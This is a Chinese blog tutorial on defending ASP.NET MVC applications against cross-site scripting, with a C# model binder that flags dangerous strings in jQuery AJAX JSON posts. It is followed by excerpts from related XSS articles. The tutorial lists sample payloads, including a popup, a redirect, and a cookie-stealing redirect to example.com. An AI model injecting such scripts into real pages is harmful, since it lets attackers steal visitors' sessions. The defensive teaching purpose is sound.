Web安全相关(一):跨站脚本攻击(XSS)

简介

  跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的Cookie,导航到恶意网站,携带木马等。

一些场景

  1. 恶意攻击者可以在个人介绍里面插入恶意代码,那么其他用户访问他的个人信息时,就会执行恶意代码。

  2. 恶意攻击者可以发表一篇文章,取一个吸引眼球的标题,在内容里插入恶意代码,那么用户查看这篇文章时,就会执行恶意代码。

  3. 恶意攻击者在一些热门文章或帖子里的回复或留言中插入恶意代码,那么用户浏览到他的回复或留言时,就会执行恶意代码。

防止XSS的两个阶段

  1. 提交数据时,就对数据进行验证,如果含有恶意脚本,则不让数据进库,ASP.NET MVC默认是会做这个验证。如下图,如果试图插入恶意脚本,就会得到一个HttpRequestValidationException。注:图2红色框中的方法后续会提到。

  

图1

图2

  如果我们需要允许脚本入库,可以在对应的Action上加上[ValidateInput(false)]。此时恶意脚本还不能产生威胁,因为还有后面一个阶段的防止措施。

  

图3

图4

  2. 输出数据时,对输出的内容采用HTML编码,恶意脚本不会被执行。而且,MVC的Razor语法默认就采用HTML编码。但是如果我们采用Html.Raw()来输出内容的话,恶意脚本就会产生威胁。

  

图5

图6

一些恶意脚本

  1. 简单的弹窗或者内容显示。

  <script>alert(‘你被黑了!‘)</script>

  2. 导航到恶意网站。注:这里只是使用百度网站作为导航演示,并不是说百度网站是恶意网站。

   <script>window.location.href=‘http://www.baidu.com‘;</script>

  3.  获取cookies。

  <script>alert(document.cookie)</script>

  <script>window.location.href=‘http://www.example.com?cookies=document.cookie‘;</script>

$.ajax数据验证失效?

  我们假设我们的需求是不允许含有恶意脚本的数据进库的,但是我们使用了jquey的ajax进行交互。

  

图7

图8

图9

  

图10

  数据还是进库,为什么呢?我们来研究下图2红框中的方法。

图11

图12

  从图12中,我猜测MVC会对Request中的以上内容进行验证,可是jquery ajax的数据是存在Request的Content里面的,因此,默认的验证对jquery ajax并没有效果。

$.ajax数据验证实现

  要对$.ajax进行数据验证,我从ModelBinder下手。具体代码如下:

    public class AjaxModelBinder : DefaultModelBinder
    {
        protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
        {
            var contentType = controllerContext.HttpContext.Request.ContentType;

            if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
                value is string &&
                controllerContext.Controller.ValidateRequest &&
                bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
            {
                if (IsDangerousString(value.ToString()))
                {
                    throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
                }
            }

            return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
        }

        /// <summary>
        /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
        /// </summary>
        private static bool IsDangerousString(string str)
        {
            var startingChars = new[] { ‘<‘, ‘&‘ };
            var startIndex = 0;

            while (true)
            {
                var index = str.IndexOfAny(startingChars, startIndex);

                if (index < 0)
                {
                    return false;
                }

                if (index == (str.Length - 1))
                {
                    return false;
                }

                var ch = str[index];

                if (ch != ‘&‘)
                {
                    if ((ch == ‘<‘) && ((IsAtoZ(str[index + 1]) || (str[index + 1] == ‘!‘)) || ((str[index + 1] == ‘/‘) || (str[index + 1] == ‘?‘))))
                    {
                        return true;
                    }
                }

                else if (str[index + 1] == ‘#‘)
                {
                    return true;
                }

                startIndex = index + 1;
            }
        }

        private static bool IsAtoZ(char c)
        {
            return (((c >= ‘a‘) && (c <= ‘z‘)) || ((c >= ‘A‘) && (c <= ‘Z‘)));
        }
    }

  然后在Global.asax.cs中注册AjaxModelBinder。

  

图13

  那么,输入数据有恶意脚本时就会被检测出来。

图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

  

图15

  另外,如果需要对js显示内容进行编码,可以使用Ajax.JavaScriptStringEncode()方法。

AntiXSS第三方组件

  如果使用.Net4.0及以上的版本,那么就不需要引入AntiXSS,因为.Net 4.0已经把AntiXSS集成进来了。如果是其他版本则需要引入。

XSS扫描检测工具

  我之前的公司有专门的测试团队,他们用工具可以对程序进行扫描找出有风险的页面,并给出建议。现在想了解下这方面的工具,如果有对这方面了解的朋友,欢迎给我推荐工具。

源码下载

  为了方便使用,我没有使用任何数据库,而是用了一个文件来存储数据。代码下载后可以直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  

时间: 2024-10-12 11:42:09

Web安全相关(一):跨站脚本攻击(XSS)的相关文章

跨站脚本攻击XSS(二)——session劫持

转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍一种危害更大的XSS--session劫持. 神马是session 想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points:   1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了.抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行.OK,搞定了.所

Web安全之跨站脚本攻击(XSS)

XSS 简介 跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做"XSS". XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过"HTML注入"篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式. XS

跨站脚本攻击XSS

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. 一个简单的留言板 我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表 <!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?>&

跨站脚本攻击(XSS)

一.跨站脚本攻击的原理 1.XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 2.跨站脚本攻击的危害:窃取cookie.放蠕虫.网站钓鱼 ... 3.跨站脚本攻击的分类主要有:存储型XSS.反射型XSS.DOM型XSS 4.XSS漏洞是Web应用程序中最常见的漏洞之一.如果您的站点没有预防XSS漏洞的固

java防范跨站脚本攻击(XSS)

网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加filter对数据参数进行处理. 1.在github上下载lucy-xss-servlet-filter:https://github.com/naver/lucy-xss-servlet-filter 2.打开项目lucy-xss-servlet-filter,将下载代码输出为jar包. 项目输出为j

跨站脚本攻击xss学习

0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: 然后发现浏览器页面的提供会变成这样: 此时如果提交下面的URL: 会发现alert被执行了 1.跨站脚本分类 跨站脚本攻击分为3类,反射型.存储型和DOM Based XSS. 1.反射型xss.浏览器执行一个不可信的脚本,并获得服务器的响应.通常黑客需要引诱用户点击恶意链接来进行触发. 2.存储

网络安全-跨站脚本攻击XSS(Cross-Site Scripting)

一.XSS攻击简介 作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的. 在XSS攻击中,一般有三个角色参与:攻击者.目标服务器.受害者的浏览器. 由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码.当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍.而此时,攻击者的目的就已经达到了. 下面我们

【转】WEB网站常见受攻击方式及解决办法

一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法.攻击者在网页上发布包含攻击性代码的数据.当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行.通过XSS可以比较容易地修改用户数据.窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击 常见解决办法:确保输出到HTML页面的数据以HTML的方式被转

WEB网站常见受攻击方式及解决办法

一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法.攻击者在网页上发布包含攻击性代码的数据.当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行.通过XSS可以比较容易地修改用户数据.窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击 常见解决办法:确保输出到HTML页面的数据以HTML的方式被转